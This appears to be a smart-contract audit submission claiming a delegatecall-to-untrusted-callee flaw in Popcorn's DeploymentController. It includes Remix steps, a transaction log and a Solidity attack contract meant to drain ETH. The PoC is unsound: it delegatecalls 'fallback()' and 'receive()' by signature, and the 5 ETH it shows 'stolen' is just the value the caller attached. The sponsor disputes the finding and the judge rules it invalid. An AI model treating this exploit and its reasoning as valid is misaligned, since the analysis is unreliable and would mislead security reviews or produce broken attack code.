SWC-112 Delegate call to Untrusted Callee

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/DeploymentController.sol#L99

Vulnerability details

Impact

File: 
src/vault/DeploymentController.sol

Description:
SWC-112 Delegatecall to Untrusted Callee.  
There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. 
This allows a smart contract to dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract.
Calling into untrusted contracts is very dangerous, as the code at the target address can change any storage values of the caller and has full control over the caller's balance.

Proof of Concept

Prep:
Victim Contract
1. recreate the following contract in Remix IDE "DeploymentController.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (London)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 100 ETH.

Attack Contract
7. In Remix IDE recreate my PoC code below and save as a contract called "DeploymentControllerDebo.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Remix VM (London). And set the value to 10 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.

action
NB:
victim contract address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
attack contract address 0x652c9ACcC53e765e1d96e2455E618dAaB79bA595

1. start balance of victim contract Balance: 93.999999999999830651 ETH
2. start balance of attack contract Balance: 15 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 5 ether
5. in low level interactions call data input box paste victim contract in there e.g. 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
6. click on call attack() function button in attack contract
7. end balance of victim contract Balance: 88.999999999999806921 ETH
8. end balance of attack contract Balance: 20 ETH
9. Finally, 5 ETHER has been deducted from victim contract and deposited into attacker contract.  

Log:
[vm]from: 0x5B3...eddC4to: DeploymentControllerDebo.attack() 0x652...bA595value: 5000000000000000000 weidata: 0x9e5...faafclogs: 0hash: 0xc88...01206
status  true Transaction mined and execution succeed
transaction hash    0xc88941b5516a5c30f0f690cc9d675048e26e964f0d060477e052f113c7801206
from    0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to  DeploymentControllerDebo.attack() 0x652c9ACcC53e765e1d96e2455E618dAaB79bA595
gas 27290 gas
transaction cost    23730 gas 
execution cost  23730 gas 
input   0x9e5...faafc
decoded input   {}
decoded output  {
    "0": "uint256: 88999999999999803361"
}
logs    []
val 5000000000000000000 wei

PoC:
// SPDX-License-Identifier: GPL-3.0
// Docgen-SOLC: 0.8.15

pragma solidity >=0.6.0 <0.9.0;

import { Owned } from "../utils/Owned.sol";
import { IOwned } from "../interfaces/IOwned.sol";
import { ICloneFactory } from "../interfaces/vault/ICloneFactory.sol";
import { ICloneRegistry } from "../interfaces/vault/ICloneRegistry.sol";
import { ITemplateRegistry, Template } from "../interfaces/vault/ITemplateRegistry.sol";

import "./DeploymentController.sol";

contract DeploymentControllerDebo  {

  ICloneFactory public  cloneFactory;
  ICloneRegistry public  cloneRegistry;
  ITemplateRegistry public  templateRegistry;

    DeploymentController public deploymentcontrolleraddress;

  constructor(DeploymentController _deploymentcontrolleraddress) public payable {
    deploymentcontrolleraddress = DeploymentController(_deploymentcontrolleraddress);
    }

  function addTemplateCategory(bytes32 templateCategory) public payable  {
        deploymentcontrolleraddress.addTemplateCategory(bytes32("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3"));
  }

  function addTemplate(
    bytes32 templateCategory,
    bytes32 templateId,
    Template calldata template
  ) public payable {
    deploymentcontrolleraddress.addTemplate("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh4", template);
  }

  function toggleTemplateEndorsement(bytes32 templateCategory, bytes32 templateId) public payable {
    deploymentcontrolleraddress.toggleTemplateEndorsement("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh4");
  }

//  error NotEndorsed(bytes32 templateId);

  function deploy(
    bytes32 templateCategory,
    bytes32 templateId,
    bytes calldata data
  ) public payable returns (address clone) {
      deploymentcontrolleraddress.deploy("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh4", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh5");
  }

  function nominateNewDependencyOwner(address _owner) public payable  {
    deploymentcontrolleraddress.nominateNewDependencyOwner(address(deploymentcontrolleraddress));
  }

  function acceptDependencyOwnership() public payable {
    deploymentcontrolleraddress.acceptDependencyOwnership();
  }

  function deposition() public payable {
      payable(address(deploymentcontrolleraddress)).transfer(1 ether);
  }

  function getbalance() public payable returns (uint256) {
      return payable(address(deploymentcontrolleraddress)).balance;
  }

  fallback() external payable {
      deploymentcontrolleraddress.deploy("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh4", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh5");
  }

  receive() external payable {
      deploymentcontrolleraddress.deploy("Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh3", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh4", "Hexh3xh3xh3xh3xh3xh3xh3xh3xh3xh5");
  }

  function attack() public payable 
  {
      address(deploymentcontrolleraddress).delegatecall(abi.encodeWithSignature("fallback()"));
      address(deploymentcontrolleraddress).delegatecall(abi.encodeWithSignature("receive()"));
  }

}

Tools Used

Remix IDE

Recommended Mitigation Steps

Use delegate call with caution and make sure to never call into untrusted contracts. 
If the target address is derived from user input ensure to check it against a whitelist of trusted contracts.

[c4-sponsor]

RedVeil marked the issue as sponsor disputed

[c4-judge]

dmvt marked the issue as unsatisfactory: Invalid